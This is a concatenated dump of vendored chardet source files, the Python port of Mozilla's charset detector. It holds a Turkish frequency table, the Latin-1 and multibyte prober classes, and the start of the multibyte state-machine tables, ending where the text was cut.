3,1,1,0,0,0,1,0,0,0,0,1,1,0,1,2,1,0,0,0,1,0,0,0,0,2,0,0,0,0,0,1, 3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,1,3,3,2,0,3,2,1,2,2,1,3,3,0,0,0,2, 2,2,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1, 3,3,3,2,3,3,1,2,3,3,3,3,3,3,3,1,3,2,1,0,3,2,0,1,2,3,3,2,1,0,0,2, 2,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0, 1,0,1,3,3,1,3,3,3,3,3,3,3,1,2,0,0,2,3,0,2,3,0,0,2,2,2,3,0,3,0,1, 2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,0,3,2,0,2,3,2,3,3,1,0,0,2, 3,2,0,0,1,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,2,0,0,1, 3,3,3,2,3,3,2,3,3,3,3,2,3,3,3,0,3,3,0,0,2,1,0,0,2,3,2,2,0,0,0,2, 2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,2,0,0,1, 3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,0,1,3,2,1,1,3,2,3,2,1,0,0,2, 2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0, 3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,2,0,2,3,0,0,2,2,2,2,0,0,0,2, 3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, 3,3,3,3,3,3,3,2,2,2,2,3,2,3,3,0,3,3,1,1,2,2,0,0,2,2,3,2,0,0,1,3, 0,3,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1, 3,3,3,2,3,3,3,2,1,2,2,3,2,3,3,0,3,2,0,0,1,1,0,1,1,2,1,2,0,0,0,1, 0,3,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0, 3,3,3,2,3,3,2,3,2,2,2,3,3,3,3,1,3,1,1,0,3,2,1,1,3,3,2,3,1,0,0,1, 1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,0,1, 3,2,2,3,3,0,3,3,3,3,3,3,3,2,2,1,0,3,3,1,3,3,0,1,3,3,2,3,0,3,0,3, 2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, 2,2,2,3,3,0,3,3,3,3,3,3,3,3,3,0,0,3,2,0,3,3,0,3,2,3,3,3,0,3,1,3, 2,0,0,0,0,0,0,0,0,0,0,1,0,1,2,0,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, 3,3,3,1,2,3,3,1,0,0,1,0,0,3,3,2,3,0,0,2,0,0,2,0,2,0,0,0,2,0,2,0, 0,3,1,0,1,0,0,0,2,2,1,0,1,1,2,1,2,2,2,0,2,1,1,0,0,0,2,0,0,0,0,0, 1,2,1,3,3,0,3,3,3,3,3,2,3,0,0,0,0,2,3,0,2,3,1,0,2,3,1,3,0,3,0,2, 3,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,1,3,3,2,2,3,2,2,0,1,2,3,0,1,2,1,0,1,0,0,0,1,0,2,2,0,0,0,1, 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0, 3,3,3,1,3,3,1,1,3,3,1,1,3,3,1,0,2,1,2,0,2,1,0,0,1,1,2,1,0,0,0,2, 2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,1,0,2,1,3,0,0,2,0,0,3,3,0,3,0,0,1,0,1,2,0,0,1,1,2,2,0,1,0, 0,1,2,1,1,0,1,0,1,1,1,1,1,0,1,1,1,2,2,1,2,0,1,0,0,0,0,0,0,1,0,0, 3,3,3,2,3,2,3,3,0,2,2,2,3,3,3,0,3,0,0,0,2,2,0,1,2,1,1,1,0,0,0,1, 0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 3,3,3,3,3,3,2,1,2,2,3,3,3,3,2,0,2,0,0,0,2,2,0,0,2,1,3,3,0,0,1,1, 1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0, 1,1,2,3,3,0,3,3,3,3,3,3,2,2,0,2,0,2,3,2,3,2,2,2,2,2,2,2,1,3,2,3, 2,0,2,1,2,2,2,2,1,1,2,2,1,2,2,1,2,0,0,2,1,1,0,2,1,0,0,1,0,0,0,1, 2,3,3,1,1,1,0,1,1,1,2,3,2,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0, 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,2,2,3,2,3,2,2,1,3,3,3,0,2,1,2,0,2,1,0,0,1,1,1,1,1,0,0,1, 2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, 3,3,3,2,3,3,3,3,3,2,3,1,2,3,3,1,2,0,0,0,0,0,0,0,3,2,1,1,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, 3,3,3,2,2,3,3,2,1,1,1,1,1,3,3,0,3,1,0,0,1,1,0,0,3,1,2,1,0,0,0,0, 0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, 3,3,3,2,2,3,2,2,2,3,2,1,1,3,3,0,3,0,0,0,0,1,0,0,3,1,1,2,0,0,0,1, 1,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,1,1,3,3,0,3,3,3,3,3,2,2,2,1,2,0,2,1,2,2,1,1,0,1,2,2,2,2,2,2,2, 0,0,2,1,2,1,2,1,0,1,1,3,1,2,1,1,2,0,0,2,0,1,0,1,0,1,0,0,0,1,0,1, 3,3,3,1,3,3,3,0,1,1,0,2,2,3,1,0,3,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,0,0,2,2,1,0,0,1,0,0,3,3,1,3,0,0,1,1,0,2,0,3,0,0,0,2,0,1,1, 0,1,2,0,1,2,2,0,2,2,2,2,1,0,2,1,1,0,2,0,2,1,2,0,0,0,0,0,0,0,0,0, 3,3,3,1,3,2,3,2,0,2,2,2,1,3,2,0,2,1,2,0,1,2,0,0,1,0,2,2,0,0,0,2, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0, 3,3,3,0,3,3,1,1,2,3,1,0,3,2,3,0,3,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0, 1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,3,3,0,3,3,2,3,3,2,2,0,0,0,0,1,2,0,1,3,0,0,0,3,1,1,0,3,0,2, 2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,1,2,2,1,0,3,1,1,1,1,3,3,2,3,0,0,1,0,1,2,0,2,2,0,2,2,0,2,1, 0,2,2,1,1,1,1,0,2,1,1,0,1,1,1,1,2,1,2,1,2,0,1,0,1,0,0,0,0,0,0,0, 3,3,3,0,1,1,3,0,0,1,1,0,0,2,2,0,3,0,0,1,1,0,1,0,0,0,0,0,2,0,0,0, 0,3,1,0,1,0,1,0,2,0,0,1,0,1,0,1,1,1,2,1,1,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,0,2,0,2,0,1,1,1,0,0,3,3,0,2,0,0,1,0,0,2,1,1,0,1,0,1,0,1,0, 0,2,0,1,2,0,2,0,2,1,1,0,1,0,2,1,1,0,2,1,1,0,1,0,0,0,1,1,0,0,0,0, 3,2,3,0,1,0,0,0,0,0,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,0,2,0,0,0, 0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,2,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,0,0,2,3,0,0,1,0,1,0,2,3,2,3,0,0,1,3,0,2,1,0,0,0,0,2,0,1,0, 0,2,1,0,0,1,1,0,2,1,0,0,1,0,0,1,1,0,1,1,2,0,1,0,0,0,0,1,0,0,0,0, 3,2,2,0,0,1,1,0,0,0,0,0,0,3,1,1,1,0,0,0,0,0,1,0,0,0,0,0,2,0,1,0, 0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,3,3,0,2,3,2,2,1,2,2,1,1,2,0,1,3,2,2,2,0,0,2,2,0,0,0,1,2,1, 3,0,2,1,1,0,1,1,1,0,1,2,2,2,1,1,2,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0, 0,1,1,2,3,0,3,3,3,2,2,2,2,1,0,1,0,1,0,1,2,2,0,0,2,2,1,3,1,1,2,1, 0,0,1,1,2,0,1,1,0,0,1,2,0,2,1,1,2,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0, 3,3,2,0,0,3,1,0,0,0,0,0,0,3,2,1,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, 0,2,1,1,0,0,1,0,1,2,0,0,1,1,0,0,2,1,1,1,1,0,2,0,0,0,0,0,0,0,0,0, 3,3,2,0,0,1,0,0,0,0,1,0,0,3,3,2,2,0,0,1,0,0,2,0,1,0,0,0,2,0,1,0, 0,0,1,1,0,0,2,0,2,1,0,0,1,1,2,1,2,0,2,1,2,1,1,1,0,0,1,1,0,0,0,0, 3,3,2,0,0,2,2,0,0,0,1,1,0,2,2,1,3,1,0,1,0,1,2,0,0,0,0,0,1,0,1,0, 0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,0,0,0,1,0,0,1,0,0,2,3,1,2,0,0,1,0,0,2,0,0,0,1,0,2,0,2,0, 0,1,1,2,2,1,2,0,2,1,1,0,0,1,1,0,1,1,1,1,2,1,1,0,0,0,0,0,0,0,0,0, 3,3,3,0,2,1,2,1,0,0,1,1,0,3,3,1,2,0,0,1,0,0,2,0,2,0,1,1,2,0,0,0, 0,0,1,1,1,1,2,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0, 3,3,3,0,2,2,3,2,0,0,1,0,0,2,3,1,0,0,0,0,0,0,2,0,2,0,0,0,2,0,0,0, 0,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,0,0,0,0,0,0,0,1,0,0,2,2,2,2,0,0,1,0,0,2,0,0,0,0,0,2,0,1,0, 0,0,2,1,1,0,1,0,2,1,1,0,0,1,1,2,1,0,2,0,2,0,1,0,0,0,2,0,0,0,0,0, 0,0,0,2,2,0,2,1,1,1,1,2,2,0,0,1,0,1,0,0,1,3,0,0,0,0,1,0,0,2,1,0, 0,0,1,0,1,0,0,0,0,0,2,1,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 2,0,0,2,3,0,2,3,1,2,2,0,2,0,0,2,0,2,1,1,1,2,1,0,0,1,2,1,1,2,1,0, 1,0,2,0,1,0,1,1,0,0,2,2,1,2,1,1,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,0,2,1,2,0,0,0,1,0,0,3,2,0,1,0,0,1,0,0,2,0,0,0,1,2,1,0,1,0, 0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,2,2,0,2,2,1,1,0,1,1,1,1,1,0,0,1,2,1,1,1,0,1,0,0,0,1,1,1,1, 0,0,2,1,0,1,1,1,0,1,1,2,1,2,1,1,2,0,1,1,2,1,0,2,0,0,0,0,0,0,0,0, 3,2,2,0,0,2,0,0,0,0,0,0,0,2,2,0,2,0,0,1,0,0,2,0,0,0,0,0,2,0,0,0, 0,2,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,3,2,0,2,2,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0, 2,0,1,0,1,0,1,1,0,0,1,2,0,1,0,1,1,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0, 2,2,2,0,1,1,0,0,0,1,0,0,0,1,2,0,1,0,0,1,0,0,1,0,0,0,0,1,2,0,1,0, 0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,1,0,1,1,1,0,0,0,0,1,2,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 1,1,2,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,1, 0,0,1,2,2,0,2,1,2,1,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 2,2,2,0,0,0,1,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) Latin5TurkishModel = { 'char_to_order_map': Latin5_TurkishCharToOrderMap, 'precedence_matrix': TurkishLangModel, 'typical_positive_ratio': 0.970290, 'keep_english_letter': True, 'charset_name': "ISO-8859-9", 'language': 'Turkish', } ================================================ FILE: thirdparty/chardet/latin1prober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .enums import ProbingState FREQ_CAT_NUM = 4 UDF = 0 # undefined OTH = 1 # other ASC = 2 # ascii capital letter ASS = 3 # ascii small letter ACV = 4 # accent capital vowel ACO = 5 # accent capital other ASV = 6 # accent small vowel ASO = 7 # accent small other CLASS_NUM = 8 # total classes Latin1_CharToClass = ( OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF ) # 0 : illegal # 1 : very unlikely # 2 : normal # 3 : very likely Latin1ClassModel = ( # UDF OTH ASC ASS ACV ACO ASV ASO 0, 0, 0, 0, 0, 0, 0, 0, # UDF 0, 3, 3, 3, 3, 3, 3, 3, # OTH 0, 3, 3, 3, 3, 3, 3, 3, # ASC 0, 3, 3, 3, 1, 1, 3, 3, # ASS 0, 3, 3, 3, 1, 2, 1, 2, # ACV 0, 3, 3, 3, 3, 3, 3, 3, # ACO 0, 3, 1, 3, 1, 1, 1, 3, # ASV 0, 3, 1, 3, 1, 1, 3, 3, # ASO ) class Latin1Prober(CharSetProber): def __init__(self): super(Latin1Prober, self).__init__() self._last_char_class = None self._freq_counter = None self.reset() def reset(self): self._last_char_class = OTH self._freq_counter = [0] * FREQ_CAT_NUM CharSetProber.reset(self) @property def charset_name(self): return "ISO-8859-1" @property def language(self): return "" def feed(self, byte_str): byte_str = self.filter_with_english_letters(byte_str) for c in byte_str: char_class = Latin1_CharToClass[c] freq = Latin1ClassModel[(self._last_char_class * CLASS_NUM) + char_class] if freq == 0: self._state = ProbingState.NOT_ME break self._freq_counter[freq] += 1 self._last_char_class = char_class return self.state def get_confidence(self): if self.state == ProbingState.NOT_ME: return 0.01 total = sum(self._freq_counter) if total < 0.01: confidence = 0.0 else: confidence = ((self._freq_counter[3] - self._freq_counter[1] * 20.0) / total) if confidence < 0.0: confidence = 0.0 # lower the confidence of latin1 so that other more accurate # detector can take priority. confidence = confidence * 0.73 return confidence ================================================ FILE: thirdparty/chardet/mbcharsetprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Proofpoint, Inc. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .enums import ProbingState, MachineState class MultiByteCharSetProber(CharSetProber): """ MultiByteCharSetProber """ def __init__(self, lang_filter=None): super(MultiByteCharSetProber, self).__init__(lang_filter=lang_filter) self.distribution_analyzer = None self.coding_sm = None self._last_char = [0, 0] def reset(self): super(MultiByteCharSetProber, self).reset() if self.coding_sm: self.coding_sm.reset() if self.distribution_analyzer: self.distribution_analyzer.reset() self._last_char = [0, 0] @property def charset_name(self): raise NotImplementedError @property def language(self): raise NotImplementedError def feed(self, byte_str): for i in range(len(byte_str)): coding_state = self.coding_sm.next_state(byte_str[i]) if coding_state == MachineState.ERROR: self.logger.debug('%s %s prober hit error at byte %s', self.charset_name, self.language, i) self._state = ProbingState.NOT_ME break elif coding_state == MachineState.ITS_ME: self._state = ProbingState.FOUND_IT break elif coding_state == MachineState.START: char_len = self.coding_sm.get_current_charlen() if i == 0: self._last_char[1] = byte_str[0] self.distribution_analyzer.feed(self._last_char, char_len) else: self.distribution_analyzer.feed(byte_str[i - 1:i + 1], char_len) self._last_char[0] = byte_str[-1] if self.state == ProbingState.DETECTING: if (self.distribution_analyzer.got_enough_data() and (self.get_confidence() > self.SHORTCUT_THRESHOLD)): self._state = ProbingState.FOUND_IT return self.state def get_confidence(self): return self.distribution_analyzer.get_confidence() ================================================ FILE: thirdparty/chardet/mbcsgroupprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Proofpoint, Inc. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetgroupprober import CharSetGroupProber from .utf8prober import UTF8Prober from .sjisprober import SJISProber from .eucjpprober import EUCJPProber from .gb2312prober import GB2312Prober from .euckrprober import EUCKRProber from .cp949prober import CP949Prober from .big5prober import Big5Prober from .euctwprober import EUCTWProber class MBCSGroupProber(CharSetGroupProber): def __init__(self, lang_filter=None): super(MBCSGroupProber, self).__init__(lang_filter=lang_filter) self.probers = [ UTF8Prober(), SJISProber(), EUCJPProber(), GB2312Prober(), EUCKRProber(), CP949Prober(), Big5Prober(), EUCTWProber() ] self.reset() ================================================ FILE: thirdparty/chardet/mbcssm.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .enums import MachineState # BIG5 BIG5_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,1, # 78 - 7f 4,4,4,4,4,4,4,4, # 80 - 87 4,4,4,4,4,4,4,4, # 88 - 8f 4,4,4,4,4,4,4,4, # 90 - 97 4,4,4,4,4,4,4,4, # 98 - 9f 4,3,3,3,3,3,3,3, # a0 - a7 3,3,3,3,3,3,3,3, # a8 - af 3,3,3,3,3,3,3,3, # b0 - b7 3,3,3,3,3,3,3,3, # b8 - bf 3,3,3,3,3,3,3,3, # c0 - c7 3,3,3,3,3,3,3,3, # c8 - cf 3,3,3,3,3,3,3,3, # d0 - d7 3,3,3,3,3,3,3,3, # d8 - df 3,3,3,3,3,3,3,3, # e0 - e7 3,3,3,3,3,3,3,3, # e8 - ef 3,3,3,3,3,3,3,3, # f0 - f7 3,3,3,3,3,3,3,0 # f8 - ff ) BIG5_ST = ( MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,#08-0f MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START#10-17 ) BIG5_CHAR_LEN_TABLE = (0, 1, 1, 2, 0) BIG5_SM_MODEL = {'class_table': BIG5_CLS, 'class_factor': 5, 'state_table': BIG5_ST, 'char_len_table': BIG5_CHAR_LEN_TABLE, 'name': 'Big5'} # CP949 CP949_CLS = ( 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0, # 00 - 0f 1,1,1,1,1,1,1,1, 1,1,1,0,1,1,1,1, # 10 - 1f 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 20 - 2f 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 30 - 3f 1,4,4,4,4,4,4,4, 4,4,4,4,4,4,4,4, # 40 - 4f 4,4,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 50 - 5f 1,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5, # 60 - 6f 5,5,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 70 - 7f 0,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 80 - 8f 6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 90 - 9f 6,7,7,7,7,7,7,7, 7,7,7,7,7,8,8,8, # a0 - af 7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7, # b0 - bf 7,7,7,7,7,7,9,2, 2,3,2,2,2,2,2,2, # c0 - cf 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # d0 - df 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # e0 - ef 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,0, # f0 - ff ) CP949_ST = ( #cls= 0 1 2 3 4 5 6 7 